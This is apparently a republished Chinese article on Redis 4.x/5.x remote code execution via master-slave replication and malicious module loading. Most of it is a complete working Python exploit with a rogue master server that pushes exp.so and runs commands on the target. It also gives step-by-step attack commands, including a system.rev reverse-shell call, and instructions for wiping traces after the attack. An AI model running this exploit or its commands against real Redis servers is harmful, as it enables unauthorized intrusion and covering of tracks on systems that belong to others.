Redis主从复制RCE影响分析 您所在的位置:网站首页 redis未授权访问利用前提条件 Redis主从复制RCE影响分析

Redis主从复制RCE影响分析

2024-07-04 18:44| 来源: 网络整理| 查看: 265

Reids 未授权的常见攻击方式有绝对路径写Webshell、写ssh公钥、利用计划任务反弹shell、主从复制RCE。

利用主从复制RCE,可以避免了通过写文件getshell时由于文件内含有其他字符导致的影响,也可以不需要借助crontab、php这种第三方的程序直接getshell,有明显的优势。但是,很多实战过的师傅就会发现,在有些情况下,不管攻击成功与否,数据库会出现一下异常情况,这里就尝试分析下。

redis 4.x/5.x RCE是由LC/BC战队队员Pavel Toporkov在zeronights 2018上提出的基于主从复制的redis rce,其利用条件是Redis未授权或弱口令。

恶意模块加载

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

恶意so文件下载,下载完成后直接 make 即可

搭建环境

docker run -p 6300:6379 -d redis:5.0 redis-server

复制恶意so到容器中

docker cp /home/ubuntu/Desktop/Temp/redis-rce/exp.so Docker_ID:/data/exp.so

加载恶意模块

127.0.0.1:6379> module load /data/exp.soOK127.0.0.1:6379> system.exec "whoami""redis\n"

那么在真实环境中,我们如何将恶意so文件传输到服务器中呢?这里就需要用到Redis的主从复制了。

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

当slave向master发送PSYNC命令之后,一般会得到三种回复:

+FULLRESYNC:进行全量复制。

+CONTINUE:进行增量同步。

-ERR:当前master还不支持PSYNC。

进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。

为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。

在进行全量复制之前,如果从服务器存在和主服务一样的变量,则其值会被覆盖,同时,如果存在主服务器不存在的变量,则会被删除。

621c7cbe2ab3f51d914f0230.jpg

攻击过程中相关命令

#设置redis的备份路径为当前目录config set dir ./#设置备份文件名为exp.so,默认为dump.rdbconfig set dbfilename exp.so#设置主服务器IP和端口slaveof 192.168.172.129 1234  #加载恶意模块module load ./exp.so#执行系统命令system.exec 'whoami'system.rev 127.0.0.1 9999    痕迹清除

为了减少对服务器的影响,攻击完成后,应该尽量清除痕迹,需要恢复目录和数据库文件,卸载同时删除模块,而数据原本的配置信息,需要在攻击之前进行备份。

CONFIG get *    # 获取所有的配置CONFIG get dir   # 获取 快照文件 保存的 位置CONFIG get dbfilename   # 获取 快照文件 的文件名#切断主从,关闭复制功能slaveof no one #恢复目录config set dir /data#通过dump.rdb文件恢复数据config set dbfilename dump.rdb#删除exp.sosystem.exec 'rm ./exp.so'#卸载system模块的加载module unload system

漏洞利用的版本是redis 4.x/5.x ,如果是先前版本的Redis,则无法加载模块,自然也就无法利用。在网上开了几个开源的利用脚本,都没有进行版本的判断,如果直接使用exp,除了攻击失败外,可能会修改了 dir 和dbfilename ,这些都可以通过redis未授权修改回原来的配置(前提是有提前备份),而目录下会多生成一个 exp.so文件。

利用脚本

这里的脚本是在 https://github.com/vulhub/redis-rogue-getshell的基础上进行修改的,主要增加了版本检测,防止误打其他版本的Redis服务器。此外,还增加了配置信息备份,当痕迹清除时,如果目标Redis服务器的的dir、dbfilename、主从关系等不是默认配置时,需要手动修改脚本中的参数。

#!/usr/bin/env python3import osimport sysimport argparseimport socketserverimport loggingimport socketimport timeimport re​logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')DELIMITER = b"\r\n"​​class RoguoHandler(socketserver.BaseRequestHandler):def decode(self, data):if data.startswith(b'*'):return data.strip().split(DELIMITER)[2::2]if data.startswith(b'$'):return data.split(DELIMITER, 2)[1]​return data.strip().split()​def handle(self):while True:data = self.request.recv(1024)logging.info("receive data: %r", data)arr = self.decode(data)if arr[0].startswith(b'PING'):self.request.sendall(b'+PONG' + DELIMITER)elif arr[0].startswith(b'REPLCONF'):self.request.sendall(b'+OK' + DELIMITER)elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)self.request.sendall(self.server.payload + DELIMITER)break​self.finish()​def finish(self):self.request.close()​​class RoguoServer(socketserver.TCPServer):allow_reuse_address = True​def __init__(self, server_address, payload):super(RoguoServer, self).__init__(server_address, RoguoHandler, True)self.payload = payload​​class RedisClient(object):def __init__(self, rhost, rport):self.client = socket.create_connection((rhost, rport), timeout=10)​def send(self, data):data = self.encode(data)self.client.send(data)logging.info("send data: %r", data)return self.recv()​def recv(self, count=65535):data = self.client.recv(count)logging.info("receive data: %r", data)return data​def encode(self, data):if isinstance(data, bytes):data = data.split()​args = [b'*', str(len(data)).encode()]for arg in data:args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])​args.append(DELIMITER)return b''.join(args)​​def decode_command_line(data):if not data.startswith(b'$'):return data.decode(errors='ignore')​offset = data.find(DELIMITER)size = int(data[1:offset])offset += len(DELIMITER)data = data[offset:offset+size]return data.decode(errors='ignore')​​def exploit(rhost, rport, lhost, lport, expfile, command, auth):with open(expfile, 'rb') as f:server = RoguoServer(('0.0.0.0', lport), f.read())​client = RedisClient(rhost, rport)​lhost = lhost.encode()lport = str(lport).encode()command = command.encode()​if auth:client.send([b'AUTH', auth.encode()])​authTest = client.send([b'info'])​if "NOAUTH" in str(authTest, encoding = "utf8"):return "[-] Authentication required.Use: -a Redis_Password"​​# Backup the configuration informationconf = client.send([b'CONFIG',b'get',b'*'])conf = str(conf, encoding = "utf8")with open('conf.txt', 'w') as file:file.write(conf)​# Version detectinginfo = client.send([b'info'])info = str(info, encoding = "utf8")res = re.search(r'.*redis_version:(\d+)\..*',info)if res.groups():version = res.groups()[0]if version != '4' and version != '5':return "[-] Version Error.only exists in version 4.x/5.x"

client.send([b'SLAVEOF', lhost, lport])client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])time.sleep(2)​server.handle_request()time.sleep(2)​​client.send([b'MODULE', b'LOAD', b'./exp.so'])​client.send([b'SLAVEOF', b'NO', b'ONE'])client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])resp = client.send([b'system.exec', command])client.send([b'MODULE', b'UNLOAD', b'system'])​return "[+]RCE Successfully! Result: " + decode_command_line(resp)​​def main():parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)parser.add_argument("-p", "--rport", dest="rport", type=int,help="target redis port, default 6379", default=6379)parser.add_argument("-L", "--lhost", dest="lhost", type=str,help="rogue server ip", required=True)parser.add_argument("-P", "--lport", dest="lport", type=int,help="rogue server listen port, default 21000", default=21000)parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')​parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")options = parser.parse_args()​filename = options.fileif not os.path.exists(filename):logging.info("Where you module? ")sys.exit(1)​result = exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)print(result)​​if __name__ == '__main__':main()​



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有